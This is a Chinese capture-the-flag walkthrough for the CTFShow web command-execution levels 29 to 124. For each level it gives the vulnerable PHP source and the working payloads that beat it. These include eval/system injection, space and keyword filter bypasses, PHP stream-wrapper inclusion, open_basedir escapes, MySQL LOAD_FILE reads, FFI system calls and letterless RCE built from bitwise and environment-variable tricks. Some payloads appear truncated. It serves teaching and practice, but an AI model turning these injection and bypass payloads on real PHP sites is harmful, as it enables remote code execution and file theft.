跳到主要内容
CTFShow Web 入门命令执行 29-124 通关详解 | 极客日志
PHP
CTFShow Web 入门命令执行 29-124 通关详解 CTFShow Web 命令执行漏洞从基础注入到高级绕过。涵盖参数逃逸、文件包含、无回显及无字母 RCE 技巧。涉及环境变量拼接、白名单函数利用及 UAF 内存溢出攻击。提供多道题目源码分析与 Payload 构造方法。
baireiraku 发布于 2026/4/12 更新于 2026/5/21 10 浏览命令执行
漏洞产生原理本质原因 :应用程序将用户可控的输入数据未经充分安全处理,直接传递给系统命令解释器(如/bin/bash、cmd.exe)执行,导致攻击者能够注入并执行任意操作系统命令。
PHP 代码执行函数 :eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort() 等
PHP 命令执行函数 :system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() 等
命令执行利用 :基础注入、编码绕过、特殊字符绕过、文件包含配合、无参数 RCE、无字母数字 RCE、协议利用、权限提升等。
web29-web31:基础注入
web29
error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
eval ($c );
}
}else {
highlight_file (__FILE__ );
}
eval 危险代码执行函数,过滤了 flag 关键字,从代码执行转向命令执行即可。
Payload:
?c=system('tac fla*' );
?c=system("tac fla?.php" );
web30
过滤关键字:flag、system、php,换种命令执行函数即可。
Payload:
?c=echo shell_exec('tac fla*' );
web31
过滤的字符和字符串:flag system php cat sort shell 点 空格 单引号。
命令执行危险函数并没有完全过滤,还可以用 passthru。至于空格过滤,下面给出几个本题适用的空格绕过方法:
?c=passthru("tac${IFS} fla*" );
?c=passthru("tac$IFS *" );
?c=passthru( );
?c=passthru( );
$9fla
"tac%09fla*"
"tac%0afla*"
web32-web36:参数逃逸
web32 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |'|`|echo|;|(/i" ,$c )){
eval ($c );
}
}else {
highlight_file (__FILE__ );
}
过滤的字符和字符串较多。由于增加过滤了括号,因此对于危险函数的使用不利。但是利用 include 函数无需括号的特性,在 c 参数中定义一个不受限制的新参数实现参数逃逸,再结合 php://filter 包装器读取 flag.php 的 base64 编码内容。
?c=include%0a$_GET [1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web33 方法同上,不过上题用的是 php 伪协议,这题可以用 data。
需要注意的是,这里在定义参数需要使用 ?> 提前闭合语句,才能让 data 伪协议的解析不被当成 php 代码解析。
?c=include%09$_GET [1]?>&1=data://text/plain,<?php system('tac flag.php' );?>
web34-36
web37-web39:文件包含 + 伪协议命令执行
web37 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
include ($c );
echo $flag ;
}
}else {
highlight_file (__FILE__ );
}
如果我们能让 c=flag.php,就可以获取 flag 值了。但是 flag 字符串被过滤了,并且在 include 函数中是不支持使用通配符的,这时候我们可以使用 data 伪协议。
?c=data://text/plain,<?php system("tac fla*" )?>
web38 过滤了:flag, php, file。在上题的基础上,使用 php 的短标签语法绕过 php 关键字限制即可。
?c=data://text/plain,<?= system("tac fla*" )?>
web39 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
include ($c .".php" );
}
}else {
highlight_file (__FILE__ );
}
看似是在我们输入的参数后面拼接了".php"字符串,但实际上在执行完 system 命令以后 include 函数就会直接完成执行并返回输出,完全忽略了后面的字符串。
?c=data://text/plain,<?= system("tac fla*" )?>
web40:无参数 RCE if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/[0-9]|\~|\`|\@|\#|\$|%|^|&|*|(\)|-|=+|{|[|]|}|:|'|" |,|<|.>|/|\\/i",$c )){
eval($c );
}
}else{
highlight_file(__FILE__);
}
此题有关无参数 RCE 的函数:localeconv(), current(), dirname(), array_reverse(), next(), show_source(filename)。
?c=var_dump(scandir(current(localeconv())));
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41:无字母 RCE 这道题连字母都限制了,但是留下了'|'管道符,所以我们可以通过位或运算,将字母和数字这些字符重新构造出来。
import re
preg ='[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|-'
content =''
for i in range (256 ):
for j in range (256 ):
if not (re.match (preg,chr (i),re.I) or re.match (preg,chr (j),re.I)):
k = i | j
if k >=32 and k <=126 :
a ='%' +hex (i)[2 :].zfill(2 )
b ='%' +hex (j)[2 :].zfill(2 )
content +=(chr (k)+' ' + a +' ' + b +'
' )
f =open ('rce_or.txt' ,'w' )
f.write(content)
f.close()
web42-web53:绕过无回显 RCE
web42 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
system ($c ." >/dev/null 2>&1" );
}else {
highlight_file (__FILE__ );
}
题目代码想要将我们的命令执行效果重定向到空白来停止输出,我们可以提前截断代码的执行,或者使用下面的特殊逻辑运算符实现命令分隔达到回显目的。
?c=tac flag.php||
?c=tac %20flag.php%26%26
?c=tac %20flag.php%26
web43
web44
web45 过滤了:分号,flag,cat,空格。空格的替换同 web31。
web46 有很多方法,虽然过滤了数字,但是 url 编码不会被解析成数字。
web47-web49 用上题 payload 即可,注意转义符 \ 的作用。
web50 新的空格过滤方法:< 被 shell 解析为重定向输入。
web51
web52 新增' < 、> '过滤,但是放开了对$和{}的过滤。这里由于转义符被过滤我们用的是单引号绕过。
?c=t'' ac${IFS} fl'' ag.php||
web53
web54:关键词模糊匹配 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|%|\x09|\x26|>|</i" ,$c )){
system ($c );
}
}
这道题用的是关键词模糊匹配,比如 .*c.*a.*t.* 会匹配包含字母 c、a、t 的任何组合。
?c=cp ${IFS} f??g.php${IFS} ccccc.txt
web55-web57:字符集受限 RCE
web55 过滤了所有大小写字母,但是没有过滤数字和空格,那就好办了,八进制编码 payload。
'\164\141\143' '\146\154\141\147\56\160\150\160'
web56 过滤了所有字母和数字,以及反引号、%、Tab、&、>、<。可以使用 PHP 文件上传机制实现命令执行绕过。
web57 允许的字符:空格、斜杠、$、()。根据这些允许的字符,我们可以利用 Shell 算术扩展 $(()) 进行数学运算来构造数字。
?c=$((~$(($((~$(())))...))))
web58-70:黑盒过滤 POST 参数
web58-web65 if (isset ($_POST ['c' ])){
$c =$_POST ['c' ];
eval ($c );
}else {
highlight_file (__FILE__ );
}
c=highlight_file("flag.php" );
c=readfile("flag.php" );
c=show_source("flag.php" );
c=echo file_get_contents("flag.php" );
web66-67 c=var_dump(scandir('/' ));
c=highlight_file("../..//flag.txt" );
web68-70 c=include($_POST [1]);&1=php://filter/convert.base64-encode/resource=../..//flag.txt
web71 输出混淆 error_reporting (0 );
ini_set ('display_errors' ,0 );
if (isset ($_POST ['c' ])){
$c =$_POST ['c' ];
eval ($c );
$s =ob_get_contents ();
ob_end_clean ();
echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s );
}else {
highlight_file (__FILE__ );
}
c=include("/flag.txt" );die();
web72 目录限制 和上题代码是一样的,只是 flag 换位置了,用之前的方法查找 flag 不能成功了。
是因为本题使用了 open_basedir(),将 php 操作的文件锁在指定的路径中。
glob://是 PHP 内置的一个流包装器。
c=$a =newDirectoryIterator("glob:///*" );foreach($a as$f ){echo ($f ->__toString().' ' );}exit (0);
如果 glob 协议无法读取文件,需要用到 UAF 脚本。
web73-74:glob 协议+include 读取 先用 glob 协议看一下 flag 位置,查到 flag 文件存在。
c=include("/flagc.txt" );die();
c=include("/flagx.txt" );die();
web75-web76:数据库文件读取 glob 协议找到 flag 位置在 flag36.php,但是 include 函数被禁了,UAF 脚本的经典 strlen 函数也用不了,那么我们可不可以直接去从数据库读取文件呢?
LOAD_FILE() 是 MySQL 的一个内置函数。
c=try {$dbh =newPDO ('mysql:host=localhost;dbname=information_schema' ,'root' ,'root' );foreach ($dbh ->query ('SELECT LOAD_FILE("/flag36.txt")' )as $row ){echo ($row [0 ])."|" ;}$dbh =null ;}catch (PDOException$e ){echo $e ->getMessage ();die ();};exit ();
web77 这道题题目提示了 php7.4,而 php7.4 版本开始引入了 FFI。
尝试将 readflag 程序读到的 flag 重定向到 1.txt 文件中读取:
c=$ffi =FFI::cdef ("int system(const char *command);" );$a ='/readflag > 1.txt' ;$ffi ->system ($a );
web118:环境变量字符拼接
web118 核心思路:通过提取环境变量字符串的特定字符来拼接出想要的命令。
${PATH:~A} ${PWD:~A} ${IFS} ????.???
web119-web120 关键字符的提取:${PWD}为 /var/www/html。
${PWD:${#} :${##} } ???${PWD:${#} :${##} } ?${PWD:${SHLVL} :${#SHLVL} } ${PWD:~${SHLVL} :${#SHLVL} } $IFS ?${PWD:~A} ???.???
web120-121 code=${PWD::${##} } ???${PWD::${##} } ${PWD:${#IFS} :${##} } ?? ????.???
web122 这题开始 PWD 和#也被过滤了。核心思路:通过 HOME 获取' /',但是需要用到数字 1。
code=<A;${HOME::$?} ???${HOME::$?} ?????${RANDOM::$?} ????.???
web124:白名单函数利用 error_reporting (0 );
if (!isset ($_GET ['c' ])){show_source (__FILE__ );}else {
$content =$_GET ['c' ];
if (strlen ($content )>=80 ){die ("太长了不会算" );}
$blacklist =[' ' ,'\t' ,'\r' ,'\n' ,'\'' ,'"' ,'`' ,'[' ,']' ];
foreach ($blacklist as $blackitem ){if (preg_match ('/' .$blackitem .'/m' ,$content )){die ("请不要输入奇奇怪怪的字符" );}}
$whitelist =['abs' ,'acos' ,'acosh' ,'asin' ,'asinh' ,'atan2' ,'atan' ,'atanh' ,'base_convert' ,'bindec' ,'ceil' ,'cos' ,'cosh' ,'decbin' ,'dechex' ,'decoct' ,'deg2rad' ,'exp' ,'expm1' ,'floor' ,'fmod' ,'getrandmax' ,'hexdec' ,'hypot' ,'is_finite' ,'is_infinite' ,'is_nan' ,'lcg_value' ,'log10' ,'log1p' ,'log' ,'max' ,'min' ,'mt_getrandmax' ,'mt_rand' ,'mt_srand' ,'octdec' ,'pi' ,'pow' ,'rad2deg' ,'rand' ,'round' ,'sin' ,'sinh' ,'sqrt' ,'srand' ,'tan' ,'tanh' ];
preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' ,$content ,$used_funcs );
foreach ($used_funcs [0 ] as $func ){if (!in_array ($func ,$whitelist )){die ("请不要输入奇奇怪怪的函数" );}}
eval ('echo ' .$content .';' );
}
构造 _GET 字符串:$pi=base_convert(37907361743,10,36)(dechex(1598506324));
构造动态函数调用:$$pi{abs}($$pi{acos})
传递真实参数:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f*
相关免费在线工具 curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
HTML转Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online